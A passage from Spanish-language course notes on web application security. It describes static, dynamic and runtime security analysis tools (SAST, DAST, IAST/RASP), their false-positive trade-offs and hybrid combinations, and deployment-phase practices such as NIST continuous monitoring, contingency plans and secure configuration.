método, se tiene que cubrir toda la superficie de ataque de la misma cubriendo todas las
partes y capas de la aplicación. Un esquema que resume cómo tiene que ser un
análisis se muestra en la siguiente figura:
Test de una aplicación web

Fuente: Stuttard (2008)

Herramientas de análisis de la seguridad de aplicaciones web
Los tipos de herramientas que se consideran en este manual son semiautomáticas en

el sentido de que casi todas ellas producen un informe de resultados que es preciso
auditar debido a la posibilidad de la existencia de falsos positivos (vulnerabilidad
reportada cuando en realidad no existe).
Para realizar una revisión del informe de las herramientas es necesario poseer una
formación adecuada en los defectos de seguridad que se pueden producir en el código de
un lenguaje determinado o tecnología (java, HTML, javascript, C#...).
Todas ellas según sus características han de utilizarse en alguna de las fases de un
modelo seguro de ciclo de vida de desarrollo de software como el propuesto en
building security in (McGraw, 2006). También se pueden emplear al final o después de
haber pasado a producción porque por el motivo que sea antes no se pudo realizar. Cabe
destacar que alguno de los tipos propuestos se emplea precisamente para proteger la
aplicación web, ya en producción, como es el caso de los firewalls de aplicaciones
web.
En un modelo de ciclo de vida seguro de desarrollo de software adaptado se

propone (figura de modelo SDLC adaptado) una estrategia para obtener desde el
principio la aplicación más segura posible conservando las misma fases. Por ejemplo, el
modelo de McGraw personaliza cada una de las fases con la utilización de determinadas
herramientas que se complementan para obtener un mejor resultado de conjunto.
Existe actualmente la tendencia de combinar los resultados de las herramientas estáticas

de análisis de código y las herramientas de análisis dinámico. En este caso scanners
automáticos de vulnerabilidades web, los cuales testean la aplicación con casos concretos
de test en todas las entradas de la aplicación en lo que sería un test de penetración
completo de la misma.
Un caso experimental de este tipo de combinaciones se puede consultar en A hybrid

analysis framework for detecting web application vulnerabilities (2009) donde se
presenta un framework híbrido que mezcla las posibilidades de ambos tipos de análisis
para disminuir la sobrecarga en la fase de monitorización dinámica. La correlación
de ambos resultados reducirá los porcentajes de falsos negativos y positivos.

En este framework híbrido denominado PHAN se analiza código PHP estáticamente

para encontrar vulnerabilidades. A continuación se chequea el código relativo a esas
vulnerabilidades para monitorizarlo mediante análisis dinámico.
Los tipos de herramientas semiautomáticas disponibles para realizar una

evaluación de la seguridad son:
» Análisis estático de código fuente / ejecutable. SAST (static analysis security tools).
» Análisis dinámico BlackBox, DAST (dynamic analysis security tools).
» Análisis dinámico WhiteBox. RAST (real analysis security tools) o también
denominadas IAST (Interactive analysis security tools).
» Híbridas de las anteriores.
Tipos de herramientas que se pueden utilizar en cada fase del SSDLC:
» Implementación:
o SAST.
» Pruebas:
o SAST.
o DAST.
o RAST(IAST).
» Despliegue:
o SAST.
o DAST.
o RAST(IAST).
o HÍBRIDAS SAST – DAST / SAST – RAST / SAST – DAST – RAST(IAST).
En este modelo de SSDLC con las fases tradicionales de otros modelos seguros de ciclo
de vida de desarrollo de software como el de Mcgraw (2006), la diferencia está en el tipo
de herramientas que se proponen en cada fase, adaptadas a las características de las
aplicaciones web.
Se pueden encontrar herramientas comerciales, open source y también servicios on

demand en empresas que prestan estos servicios mediante el concepto SAAS (software
como servicio).

Las herramientas comerciales suelen tener un alto coste y disponer de todos los tipos de
herramientas puede resultar caro. Lo ideal sería disponer de una herramienta de
tipo híbrida SAST-DAST-RAST ya que permiten utilizar cada uno de los tipos por
separado o de forma conjunta correlando resultados, lo que ayuda a descartar falsos
positivos. Si además se puede complementar con la instalación de firewalls de
aplicaciones web para protección de ataques online se optimizaría el estado de la
seguridad de la aplicación.
Modelo SDLC adaptado
Las herramientas de análisis de riesgos a utilizar en las fases de análisis y diseño son
necesarias para el diseño de la arquitectura de la seguridad.
Para la evaluación de la seguridad una vez diseñada la arquitectura de seguridad en base

a los requisitos de seguridad, en los siguientes apartados, se va a estudiar cada uno de
los tipos de análisis y herramientas correspondientes a las de las fases de
implementación y posteriores.
De entre los tipos de herramientas para evaluación de la seguridad, el análisis estático

de código fuente se considera la actividad más importante de entre las siete mejores
prácticas que se han de realizar en el curso del desarrollo de una aplicación, según el
modelo de ciclo de vida de desarrollo de software de Software Security: Building
Security In (McGraw, 2006). Estas herramientas son capaces de analizar todo el código
cubriendo toda la superficie de ataque de la aplicación, cosa que es más complicada para
los otros tipos de herramientas.

Análisis de seguridad estático de caja blanca SAST
Existen herramientas de tipo de caja blanca de análisis estático que analizan el código
tanto fuente como ejecutable, según el caso. La diferencia entre ellas básicamente está
en que las de código ejecutable tienen primero que hacer un desensamblado del
código ejecutable para extraer el código fuente y posteriormente actúan como el otro
tipo de herramientas estáticas de código fuente, es decir, tienen una etapa previa de
conversión de código ejecutable en el fuente correspondiente.
Por tanto, las consideraciones y el análisis de las de código fuente servirán también para
las de código ejecutable y solo se comentarán para estas, en su apartado correspondiente,
las particularidades y problemas que tiene la etapa previa de «desensamblado» para
obtener el código fuente a partir del código ejecutable.
» SAST. Herramientas de análisis de código fuente: este tipo de herramientas cogen

como entrada el código fuente y lo trasforman generando representaciones
intermedias o modelos del código fuente, según el caso y a continuación lo
analizan contra una serie de reglas definidas en las herramientas para generar los
informes de error correspondientes.
Este conjunto de reglas se puede aumentar en muchos casos por parte del usuario que
puede definir las suyas propias para adaptarlas a las particularidades de la
aplicación que se está analizando. Un ejemplo de lenguaje especificación de reglas es
PQL (program query language) para la definición de defectos de seguridad para
lenguaje java (Livshits, 2006).
Este tipo de herramientas parten con un problema debido a que el hecho de

determinar si un programa alcanza su estado final o no es un problema indecidible
(Turing, 1936). En este contexto un falso positivo es un problema descubierto en un
programa cuando ningún problema en realidad existe. La noción de utilizar un
algoritmo para analizar otro es parte de los orígenes de la computación.
A pesar de este problema, estas herramientas están consideradas como la actividad

más importante de seguridad dentro de un SSDLC (McGraw, 2006) y como también
se desprende de las estadísticas comentadas anteriormente de vulnerabilidades de
WASC o las del informe de seguridad, volumen 3 de VERACODE.

o Características. Se ha comentado el problema que tienen en cuanto al reporte

de falsos positivos. Esto se puede arreglar en gran medida mediante una
auditoría posterior para lo cual la información de trace que proporcionan las
herramientas en muchos de los casos hace que esta tarea no sea tan complicada a
la vez que aporta para la persona que la realiza una realimentación de
conocimiento de la aplicación en su totalidad.
La clasificación por grado de criticidad de las vulnerabilidades reportadas también

supone una ayuda para esta auditoría posterior.
Los falsos positivos son seguramente indeseables pero desde una perspectiva de
seguridad, los falsos negativos (defecto no descubierto) son mucho
peores. Con un falso negativo, un problema existe en el programa pero la
herramienta no lo detecta. La penitencia por un falso positivo es la cantidad de
tiempo gastada repasando el resultado. La penitencia por un falso negativo es
mucho mayor. No solo se paga el precio asociado por tener una vulnerabilidad
en el código, se vive con un sentido falso de seguridad que se deriva del hecho de
que la herramienta hizo parecer que todo era correcto.
Todas las herramientas de análisis estático de código producen algunos

falsos positivos o falsos negativos. La mayoría de ellas producen ambos. El balance
que una herramienta efectúa entre falsos positivos y falsos negativos es
normalmente indicativo del propósito de la herramienta (Stuttard, 2008).
El equilibrio correcto es bastante diferente para herramientas de análisis estático

que se proponen descubrir gran variedad de errores de cualquier tipo y
herramientas de análisis estático cuyo objetivo son defectos relevantes de
seguridad. El coste de omitir un defecto dentro de la primera categoría es,
relativamente hablando, pequeño.
Múltiples técnicas y procesos pueden ser aplicados para asegurarse que los
defectos más importantes se descubren. Por esta razón las herramientas de calidad
de código por lo general intentan producir un número bajo de positivos falsos y
están más dispuestas a aceptar negativos falsos. La seguridad es una historia
diferente. La penitencia por defectos de seguridad pasados por alto es elevada,
aquí entonces las herramientas de seguridad por lo general producen más falsos
positivos para reducir al mínimo falsos negativos.

La existencia de falsos positivos y falsos negativos obliga a realizar una auditoría

posterior de los informes de la herramienta que permitan eliminar los primeros
y encontrar los segundos (bastante más complicado). Esto implica una adecuada
formación en los defectos que se pueden cometer en el código de un determinado
lenguaje de programación que puede ser más o menos «amigable» en función de
las facilidades de trace del error que proporcione una determinada herramienta.
Herramientas como SCA, PREVENT o INSIGHT son buenos ejemplos de

herramientas que suministran una muy buena información para sobre todo
eliminar falsos positivos.
Las herramientas de análisis estático comprueban todo el código a fondo y

coherentemente sin ninguna tendencia, que a veces los programadores según su
criterio podrían tener sobre algunas partes del código que pudieran ser más
«interesantes» desde una perspectiva de seguridad o partes del código que
pudieran ser más fáciles para realizar las pruebas dinámicas.
Un análisis valioso debe ser lo más imparcial posible. Examinar el código

totalmente y a fondo supone una buena realimentación en el conocimiento de
la aplicación ahondando más en el conocimiento de la seguridad de la misma.
Examinando el código en sí mismo, las herramientas de análisis estático pueden

indicar la causa de origen de un problema de seguridad, no solamente uno de sus
síntomas. Esto es en particular importante para asegurarse de que las
vulnerabilidades son corregidas correctamente.
El análisis estático puede encontrar errores tempranamente en la fase de

implementación y desarrollo antes de que el programa sea ejecutado por
primera vez. El encuentro de un error tempranamente no solo reduce el coste de
arreglar el error, además un ciclo de realimentación rápido puede ayudar a dirigir
el trabajo de un programador: un programador tiene la oportunidad de corregir
errores de los que no era antes consciente que podrían pasar. Los escenarios de
ataque y la información sobre el código usados por una herramienta de análisis
estático actúan como medio de transferencia de conocimiento.

o Arquitectura y diseño. Las herramientas estáticas cogen como entrada el

código fuente y lo trasforman generando representaciones intermedias o modelos
del código fuente según el caso y a continuación lo analizan contra una serie de
reglas definidas en las herramientas las cuales pueden realizar algunos o todos de
estos análisis:
Análisis léxico, sintáctico y semántico como cualquier compilador.

Análisis intraprocedural o local (dentro de cada función) del flujo de
control y de los datos. Puede emplear técnicas o algoritmos como: métodos
formales, interpretación abstracta (Cousot), satisfacción booleana(Moskewicz,
2001) o model checking (Emerson, 2008).
- Análisis global o interprocedural de llamadas entre funciones y flujo de los
datos: context-sensitive (determinación del contexto de una función cuando es
llamada), path sensitive (explora las rutas basado en información sobre el flujo
de control), path insensitive (explora todas las rutas, es muy costoso) y basado
en function summaries (utilización de resúmenes del contexto de llamada de las
funciones, más flexible que la anterior, puede ser más o menos impreciso).
- El análisis global puede utilizar algoritmos como: SAT solvers (Moskewicz,
2001), theorem provers (Detlefs, 2005) o model checking (Emerson, 2008).
El esquema de una herramienta SAST genérica se puede ver en la figura siguiente

donde se evalúa la eficacia de 9 herramientas de análisis de seguridad del código fuente
tanto comerciales como de open source. Estas herramientas fabrican un modelo del
código que se analiza frente a las reglas de seguridad que caracterizan las
vulnerabilidades para detectar apariciones de vulnerabilidades en el modelo y producir
resultados.

Esquema SAST
Fuente: Bermejo, 2013
» Herramientas de análisis estático de código ejecutable: una gran ventaja que presenta
este tipo de herramientas es que por su naturaleza pueden analizar aplicaciones de
terceras partes de las que no se dispone el código fuente. Otro aspecto a tener en
cuenta es que al no disponer del código fuente no se pueden auditar los informes de
vulnerabilidades de seguridad de las herramientas, con lo cual estas deberían tener
un bajo ratio de falsos positivos que puede implicar también en un mayor ratio de
falsos negativos que es un problema mayor en el conjunto del análisis de la aplicación
como ya se mencionó en apartados anteriores.

Según el informe de Veracode donde se comprueba la seguridad inicial del software

de terceros, el resultado que se muestra en la figura siguiente es que la seguridad del
software de terceras partes no es aceptable en un 75 %.
Grado de seguridad del software de terceras partes
Estas herramientas tienen un paso previo de desensamblado del código ejecutable.

Una vez obtenido analizan el código fuente obtenido de la misma forma que las
comentadas en el apartado anterior, por tanto se van a tratar principalmente las
particularidades que tiene el desensamblaje del código ejecutable como paso previo al
análisis.
Estas aproximaciones analizan directamente el código maquina a partir de una

simplificación del mismo para construir un diagrama de control de flujo y de
llamadas. En Hanov (2005) se tratan diversos problemas que pueden presentar la
decompilación de código máquina y se describe la evolución de las diversas técnicas
empleadas donde Cifuentes (1997) fue uno de los más tempraneros desarrollando una
técnica conocida como program slicing que es una técnica para determinar el conjunto
de sentencias de un programa que potencialmente afectan al valor de una variable en
algún punto del programa. Este análisis es útil en la fase de decodificación de
instrucciones de código máquina de herramientas de ingeniería inversa como son los
traductores binarios, desensambladores y debuggers.
Relativo al lenguaje java se puede consultar una técnica de análisis de bytecodes de java
en «analysis of Java bytecode sequences» (O´Donoghue, 2002).

En lo referente a aplicaciones web existen varias implementaciones comerciales para

diversos lenguajes y plataformas como el servicio saas (software as a service) on-
demand de la empresa Veracode. Sus servicios están disponibles para J2EE, C/C++,
.NET, C#, PHP, Coldfusion. Findbugs [20], es una herramienta de este tipo de open
source disponible para lenguaje java.
Análisis de seguridad dinámico de caja negra DAST
Las herramientas de análisis dinámico de caja negra DAST analizan una aplicación
ejecutando la herramienta contra la aplicación en ejecución efectuando un test de
penetración e intentando cubrir toda la superficie de ataque (todas las entradas posibles
a la aplicación) para descubrir las vulnerabilidades que puedan existir. Como ejemplo de
este tipo de herramientas para aplicaciones web se encuentran Webinspect, Paros o
Cenciz. Este tipo de herramientas dentro del mundo de las aplicaciones web se
denominan scanners automáticos de vulnerabilidades de aplicaciones web.
Un scanner automático de vulnerabilidades actúa como se muestra en la figura siguiente.

Se interpone entre el administrador de la herramienta y la aplicación web para lanzar
ataques contra la aplicación, efectuando un test de penetración, inyectando datos y
código maligno para detectar las vulnerabilidades.
Esquema de funcionamiento de un scanner de vulnerabilidades

Cubrir toda la superficie de ataque de la aplicación es difícil. El grado en que esto se

consigue determina también el de la eficacia de la herramienta. Es difícil porque hay que
probar todas las entradas a la aplicación y con todos los roles de usuario cada parámetro
de cada solicitud y cada respuesta para encontrar el patrón de una vulnerabilidad.
Hay que entender las posibilidades y debilidades de un scanner, conocer la herramienta

para sacar el mejor partido posible interpretando sus resultados. Los scanners
automáticos tienen sus limitaciones y pueden detectar un conjunto de
vulnerabilidades debido a su naturaleza.
Por ejemplo son capaces de detectar importantes vulnerabilidades como:
» XSS.
» SQLI.
» Path transversal.
» Command injection.
» Defectos de configuración.
» Problemas relacionados con Javascript.
» File inclusion.
» XPATH injection.
» HTTP response spliting.
Debido a que realizan un análisis sintáctico de la aplicación no pueden comprender la

semántica de varios parámetros en su conjunto que pueden esconder un intento de
ataque.
Por tanto tienen dificultad en detectar otras como:
» Violación de controles de acceso.

» Vulnerabilidades de diseño.
» Secuestro de sesiones.
» Information leakage.

Este tipo de herramientas deberían:
» Ser capaz de identificar un subconjunto aceptable de vulnerabilidades de seguridad

de las aplicaciones web.
» Generar un informe para cada vulnerabilidad detectada, indicando una acción o
conjunto de acciones que sugieren la citada vulnerabilidad.
» Tener un aceptable ratio de falsos positivos que como es lógico estas herramientas
también pueden tener.
Hay que tener presente el último punto relativo a los falsos positivos que estas
herramientas pueden tener y que son necesarios de comprobar, al igual que ocurría con
el análisis estático de código fuente.
Como se verá más adelante una buena táctica puede ser correlar los resultados de análisis
estáticos y los de los scanners automáticos de aplicaciones web para ayudar en el
descarte de falsos positivos. Otra aproximación es aprovechar los resultados del
análisis estático para generar casos de test para el scanneo automático que permita
comprobar la veracidad de la existencia de la vulnerabilidad reportada por el análisis
estático.
En la página web de WASC se puede consultar el proyecto Web application scanners

evaluation criteria que aporta un documento sobre criterios a tener en cuenta para
la evaluación de estas herramientas y otros muchos recursos e información interesante.
Asimismo se puede consultar una amplia relación de las herramientas disponibles. Una
comparativa de tres herramientas de este tipo, de entre las muchas comerciales y de
open source:
» APPSCAN standard.
» Webinspect
» Acunetix + Acusensor.
En la comparativa se utilizan como benchmark 16 aplicaciones web donde Acunetix +

Acusensor (herramientas híbrida DAST + RAST) es la que sale mejor parada con 7
primeras posiciones en las 16 aplicaciones contra 3 de Webinspect y 2 de APPSCAN.

Hay 5 aplicaciones donde no hay un claro ganador. Comentar que Websensor añade a
Acunetix capacidad de análisis en tiempo real que cae dentro de la categoría comentada
a continuación en el siguiente apartado.
SAST vs DAST
En la figura siguiente se muestra una estadística comparativa de porcentaje de

probabilidad de detección los métodos de caja negra (scanners automáticos y
manual) contra los obtenidos con métodos de caja blanca, mediante herramientas de
análisis estático y auditoría.
Otras muchas estadísticas se pueden encontrar en el sitio web de WASC referenciado

anteriormente como puede ser por ejemplo el porcentaje por grados de criticidad de las
vulnerabilidades más frecuentes.
Esta métrica también es importante porque da una idea clara de cuáles de ellas son
más urgentes parchear por su alto grado de criticidad, sobre todo teniendo en cuenta
el tiempo disponible para ello. Los grados de criticidad de la estadística son: urgente,
critical, high, médium, low.
% de probabilidad de detección blackbox / whitebox
Veracode proporciona en su servicio on demand análisis estático automático SAST,

análisis dinámico automático DAST y análisis manual.

En su informe volumen 3 de análisis de aplicaciones efectuado hasta abril de 2011 se

muestra una comparativa entre los análisis DAST y SAST realizados. El resultado arroja
635 detecciones SAST vs. 29 DAST (ver figura siguiente). La mayor diferencia se
encuentra en las categorías XSS y CRLF.
XSS (cross site scripting cwe 80) es una vulnerabilidad que consiste en salidas de la
aplicación web conteniendo datos no validados ni codificados, lo cual puede ser
comprobado por el análisis estático y sin embargo más difícil para DAST que tendría que
generar cada estado de la aplicación en razonable período de tiempo. CRLF (http
response splitting) ocurre en lugares de la aplicación donde DAST no tiene visibilidad y
por tanto no encuentra ninguna.
¿Cómo se explica la disparidad entre los métodos estáticos y dinámicos? Un

factor contribuyente es que el análisis estático proporciona una comprensión amplia de
la aplicación mientras que el análisis dinámico solamente testea partes de código que
pueden ser solo accesibles externamente.
Veracode sast vs dast
El análisis dinámico DAST, incluso el manual, pasan por alto partes de la aplicación
alcanzables solo bajo ciertas circunstancias.

Por ejemplo, determinadas funcionalidades de la aplicación pueden estar ocultas detrás

de formularios que provocan un diferente comportamiento dependiendo de cómo se
rellena cada uno de sus campos.
Además, las aplicaciones que soportan diferentes tipos de usuarios (administrador,

usuarios normales, etc.) a veces restringen la funcionalidad que cada nivel de
usuario puede acceder significando que la aplicación debe ser escaneada varias veces
iterando por todos los roles de usuario para cubrir toda la superficie de ataque de la
aplicación.
La principal lección para el personal responsable de analizar la seguridad de una

aplicación web o de cualquier tipo es que un programa de seguridad de aplicaciones debe
incorporar varios métodos y herramientas distintas que se puedan complementar y
asegurar que las aplicaciones son evaluadas con la suficiente amplitud y profundidad.
Análisis de seguridad dinámico de caja blanca. RAST (IAST)-RASP
Herramientas de análisis dinámico, de caja blanca, en tiempo real, RAST o

IAST según algunos fabricantes y también RASP (real time security
protection) en el caso de que estas herramientas bloqueen intentos de ataques en
tiempo real. Estas herramientas actúan directamente sobre el código ejecutable. El
entorno de ejecución de los procesos observa cómo trabaja y el contenido de sus variables
en memoria y su estado en general y también las peticiones que se hacen a la aplicación
web y respuestas que se reciben. Esto permite detectar vulnerabilidades en los campos
de entrada a la aplicación de forma concreta porque en tiempo real se sigue el
funcionamiento de la aplicación.
Un factor a tener en cuenta en este tipo de herramientas es que pueden disminuir el

rendimiento de la aplicación al interferir su funcionamiento normal, sobre todo si la
herramienta toma las acciones de bloquear o sanear, ya que estas acciones pueden sumar
tiempo de cómputo a la aplicación que puede finalmente influir en el rendimiento
disminuyendo el tiempo de respuesta.

Este tipo de herramientas una vez detectada la vulnerabilidad hay herramientas que
pueden tomar una de las tres acciones siguientes:
» Generar un informe: después de la detección sin más. Securityscope de Fortify es

un ejemplo de este tipo o SEEKER (Quoutium technogies). También Acusensor como
funcionalidad añadida a Acunetix que como se señaló en el apartado anterior es un
scanner automático de vulnerabilidades de aplicaciones web.
» Bloquear el intento de ataque, como hace RTA de Fortify. RTA es la versión anterior
de Securityscope de FORTIFY, por lo que presentan muchas similitudes en cuanto a
arquitectura. Difieren en el concepto de lo que se hace cuando se detecta una
vulnerabilidad: bloqueo o informar. Este tipo de herramientas que efectúan bloqueos
de ataques en tiempo real se denominan real analysis self protection (RASP).
» Sanear la petición maligna a la aplicación web, corrigiendo los valores de entrada a

la aplicación. SANER es un ejemplo de este tipo.
En la tesis de Livshits (2006) se comenta que la ventaja que tiene el análisis en tiempo
real es que puede detectar todos los ataques de categoría en particular porque siguen la
pista de cómo fluyen los datos a través de la aplicación.
No tienen falsos positivos debido a que tiene una perfecta información histórica de
cada tipo de datos. Además se puede recuperar de un ataque a una vulnerabilidad antes
de que pueda ser explotada saneando una entrada de datos de la aplicación en el
momento que sea necesario.
Para la detección de vulnerabilidades se utiliza una especificación de vulnerabilidades

escritas en un lenguaje denominado PQL (program query language) que son traducidas
a un autómata finito de estados no-determinista (NFAs). Cuando se ejecuta la aplicación
los NFAs generados se ejecutan junto con la aplicación recogiendo información sobre
eventos relevantes.
Estos autómatas se intentan encontrar en la aplicación reproducidos durante el análisis

en tiempo real. Cuando un NFA llega a un estado de aceptación pueden tomarse varias
acciones, si hay una cláusula replaces se sustituye la acción insegura por otra segura
como medida de recuperación.

Si por el contrario hay una cláusula executes se ejecutará el código contenido en dicha
cláusula para generar un reporte de la vulnerabilidad detectada. De forma resumida,
encontrar consultas PQL contenidas en la aplicación implica 3 pasos:
» Traducción de PQL a NFAs.

» Se inserta código para monitorizar la aplicación y para registrar eventos relativos al
NFAs que está siendo investigado en un momento dado en la aplicación.
» Utilizar un comparador de consultas para interpretar todos los estados por los que
pasa un NFAs para encontrar todas sus apariciones en la aplicación.
Otras consideraciones interesantes se comentan en cuanto al incremento de

sobrecarga que puede suponer aplicar un análisis de tiempo real en una aplicación.
Añadir código para monitorizar eventos supone una sobrecarga de ejecución total de la
aplicación. Una forma propuesta para reducirlo es utilizar el resultado del análisis
estático para reducir el código de monitorización eliminando sentencias que no pueden
referirse a objetos implicados en cualquier match de una query. La reducción del
código de monitorización mediante esta técnica puede llegar ser del 97 % en el caso
de la aplicación roller utilizada como benchmark. En otra aplicación como webgoat se
reduce la sobrecarga a la mitad con la versión optimizada. En la figura siguiente se
muestra una comparativa de sobrecarga en 5 aplicaciones analizadas en la tesis de
Livshits (2006) en sus dos versiones optimizadas mediante el análisis estático de código
fuente vs. las no optimizadas.
Comparación de sobrecarga en análisis en tiempo real.

Fuente: Livshits (2006)

Otras aproximaciones existen de este tipo que proponen un algoritmo para generación
de pruebas automatizadas de entrada que utiliza datos y valores de tiempo de
ejecución para analizar el código de forma dinámica, los modelos semánticos de las
operaciones de cadena y se ocupa de operaciones cuyo argumento y valores de retorno
no pueden compartir un tipo común (Wassermann, 2008).
La utilización de conjunta de análisis estático de código fuente y de análisis en tiempo

real introduce el siguiente apartado sobre herramientas de análisis de la seguridad
hibridas que combinan dos más de entre los tipos de análisis estáticos, scanners
automáticos de vulnerabilidades y análisis de tiempo real.
Herramientas de análisis de la seguridad híbridas
Llegados a este punto, en los últimos años se está avanzando en el idea de combinar
algunas de las soluciones anteriores SAST, DAST y RAST para conseguir mediante
distintas estrategias optimizar los resultados en cuanto a disminuir falsos positivos y
negativos. Ya se ha adelantado alguna aproximación de este tipo en apartados anteriores.
» Combinar análisis SAST y DAST.

» Combinar análisis SAST y RAST.
» Combinar análisis SAST, DAST y RAST.
El grado de sinergia que puede existir entre estos tipos de herramientas puede
aprovechar que las propiedades del código inferidas por el análisis estático SAST pueden
ser comprobadas por un análisis en tiempo real RAST para asegurar la ausencia de
vulnerabilidades una vez corregido el código.
Esta aproximación es un poco distinta en el concepto de utilización del RAST, de la

comentada en el apartado anterior en la tesis de Livshits (2006) en el sentido de que en
esta el análisis en tiempo real se optimiza mediante SAST para una protección en
tiempo real con la aplicación en producción, mientras que en aquella se utiliza SAST para
comprobar vulnerabilidades detectadas generando casos de test que se comprueban
mediante RAST. Es decir, es un análisis que tendrá una duración determinada. En este
sentido va también el artículo de Artho et Bi (AIOOL, 2005) donde se aplica el mismo
esquema mediante una herramienta combinada denominada jnuke que tiene el esquema
de la figura de abajo.

Las dos estrategias son buenas, se pueden complementar en diferentes fases del ciclo
de vida, una en la fase de despliegue pre-producción y la otra ya con la aplicación en
producción para una protección, ya verdaderamente en tiempo real supliendo el
cometido que puede hacer un firewall de aplicaciones web que se basa en analizar
patrones en el tráfico de la red para proteger una aplicación con sus ventajas e
inconvenientes que se analizan en un apartado posterior.
Hay que tener en cuenta que el análisis dinámico RAST es preciso porque no necesita
hacer abstracciones y puede ser tan rápido como la propia ejecución del programa,
excepción hecha de las comprobaciones adicionales que tiene que realizar. Según se
demuestra en la tesis de Livshits (2006) se pueden optimizar en gran medida mediante
el background de SAST para proteger una aplicación web en tiempo real desplegada en
producción.
Ejemplos de herramientas híbridas:
APPSCAN de IBM ofrece herramientas de tipo SAST – DAST – RAST aunque no realiza
correlación automática de los resultados entre ellas:
» Acunetix + Acusensor es un ejemplo de combinación de análisis DAST y RAST

(similar a la concepción de Webinstpect).
» HP Webinspect real time es un ejemplo de combinación de herramientas DAST –
RAST ofreciendo la posibilidad de correlación automática de resultados entre ellas y
con la herramienta SAST.

4.3. Seguridad en el despliegue y producción de las aplicaciones

web
En la fase de producción de la aplicación online (objetivo principal de esta

asignatura) las prácticas de seguridad que se llevan a cabo corresponden con las
operaciones de seguridad del ciclo de vida de desarrollo de aplicaciones mencionado
anteriormente. Tienen que ver con una correcta configuración de todos los elementos y
partes que intervienen en la aplicación como son:
» Monitorización continua. La publicación del NIST SP-800 1373 trata a fondo

cómo se debe implementar la defensa online de los sistemas de una organización
abordando todos los aspectos de la figura siguiente, en cuanto a búsqueda y parcheo
de vulnerabilidades, incidentes de seguridad, gestión de configuraciones, gestión de
backups y recuperación disponibilidad de centro de respaldo y de planes de
respuesta y gestión ante incidentes de seguridad. En la primera tabla se
representan los planes mínimos a implementar según el NIST, etc. La monitorización
continua centra en el que se basa la seguridad online:
Automatización de los dominios de seguridad

Un sistema de monitorización continua debe contemplar todos los aspectos de la figura

anterior. Un ejemplo de este tipo de sistema es el denominado Caesars del NIST que
cubre todos los dominios de seguridad.
Se deben implementar sistemas de auditoría y gestión de logs mediante sistemas SIEM

de gestión de eventos de seguridad, sistemas de detección y de prevención de intrusiones
que analizan el tráfico de red buscando patrones que puedan suponer un ataque a la
aplicaciónn con la posibilidad de correlación de eventos a través del análisis de los
mismos en los log de las aplicaciones, servidores, etc.
Como ejemplos de entornos que integran distintas soluciones de seguridad en tiempo

real se puede encontrar HP ArcSight enterprise security manager: solución de
cumplimiento y correlación de datos, monitorización de seguridad escalable que
identifica y pone remedio a las ciber amenazas y HP TippingPoint NX Platform next
generation intrusion prevention systems (NGIPS): Asegura protección en los
dispositivos de red, máquinas virtuales, sistemas operativos y aplicaciones críticas de
negocio al ampliar la capacidad de inspección profunda de paquetes.
Plan Purpose Scope Plan

Relationship
Business Provides Addresses Mission/business

continuity plan proceduresfor misión/business process focused
(BCP) sustaining processes at a lower plan that may be
misión/business or expanded level activated in
operations while from COOP MEFs. coordination with
recovering from a a COOP plan to
significant sustain non-MEFs.
disruption.
Continuity of Provides procedures Addresses MEFs at MEF focused plan

operations and guidance to a facility; that may also
(COOP) Plan sustain an information system actívate several
organization´s are addressed based business unit-level
MEFs at an anly on their BCPs, ISCPs, or
alternate site for up support of the DRPs, as
to 30 days; misión essential appropiate.
mandated by federal functions.
directives.


Relationship
Crisis Provides procedures Addresses Incidet-based plan

Communications for disseminating communications often activated
Plan internal and with personnel and with a COOP or
external the public; not BCP, but may be
communications; information system- used alone during
means to provide focused. a public exposure
critical status event.
information and
control rumors.
Critical Provides policies Addresses critical Risk management

infraestructura and procedures for infraestructura plan that supports
protection (CIP) protection of components that are COOP plans for
plan national critical supported or organizations with
infraestructura operated by an cirtical
components, as agency or infraestructure
defined in the organization. and key resource
National assets.
infraestructura
protection plan.
Cyber incident Provides procedures Addressesmitigation Information

response plan for mitigating and and isolation of system-focused
correcting a cyber affected systems, plan that may
attack, such as a cleanup and actívate an ISCP
virus, worm or minimizing loss of or DRP, depending
Trojan horse. information. on the extent of the
attack.
Disaster Provides procedures Activated after Information

recovery plan for relocating major system system-focused
(DRP) information systems disruptions with plan that activates
operations to an long-term effects. one or more ISCPs
alternate location. for recovery of
individual
systems.
Information Provides procedures Addresses single Information

system and capabilities foe information system system-focused
contingency recovering an recovery at the plan that may be
plan (ISCP) information system. current or if activated
appropriate independent from
alternate location. other plan sor as
part of a larger
recovery effort
coordinated with a
DRP, COOP
and/or BCP.


Relationship
Occupant Provides Focuses on Incident-based

emergency plan coordinated personnel and plan that is
(ORP) procedures for property particular initiated
minimizing loss of to the specific immediately after
life or injury and facility; not an event,
protecting property misión/business preceding a COOP
damage in response process or or DRP activation.
to a physical threat. information system-
based.
Planes anti-incidentes de seguridad
Fuente: http://csrc.nist.gov/publications/nistpubs/800-34-rev1/sp800-34-rev1_errata-Nov11-2010.pdf
» Configuración correcta de los parámetros que afectan a la seguridad de toda la

aplicación contenidos en los archivos correspondientes al servidor de aplicaciones,
aplicación y base de datos. Para ello se deben utilizar guías de configuración segura
que suministran los fabricantes u organizaciones o estándares como el NIST, CCN-
CERT.
También hay herramientas que pueden comprobar el estado de seguridad de dichas

configuraciones. Un ejemplo de estas es SCUBA, herramienta de IMPERVA que sirve
para auditar la seguridad de un servidor MYSQL. En servidores Windows se puede
emplear la herramienta Security compliance manager (SCM) para establecer una
serie de políticas de seguridad base que Microsoft determina como aceptables.
» Procedimientos de gestión segura del control de acceso: la autenticación,

sesiones y autorización. Hay herramientas proporcionadas por los fabricantes que
analizan el estado de las matrices de control de acceso a los recursos por parte de los
usuarios. Un estudio detallado de los informes pueden sacar a la luz importantes
problemas de seguridad.
» Establecimiento de conexiones seguras en las comunicaciones entre servicios,

utilizando protocolos criptográficos como SSL-TLS y otros de los estudiados en el
tema 3.

» Política de gestión de contraseñas: infraestructura PKI para gestión de

certificados digitales. Las políticas de gestión de contraseñas deben ser exhaustivas y
se deben auditar y monitorizar los intentos de violación, sobre todo intencionados
para detectar fallos en la seguridad y posibles intentos de ataque real. Hay que
proteger los almacenes de contraseñas debidamente de todos los entornos de la
organización.
Reverse proxies, balanceadores de carga. Un proxy inverso es un servidor proxy

situado en el alojamiento de uno o más servidores web. Todo el tráfico procedente de
Internet y con destino en alguno de esos servidores web es recibido por el servidor proxy.
Hay varias razones para ello:
» Seguridad: el servidor proxy es una capa adicional de defensa y por lo tanto protege
a los servidores web.
» Cifrado/aceleración SSL: cuando se crea un sitio web seguro habitualmente el
cifrado SSL no lo hace el mismo servidor web sino que es realizado en un equipo ajeno
equipado incluso con hardware de aceleración SSL/TLS.
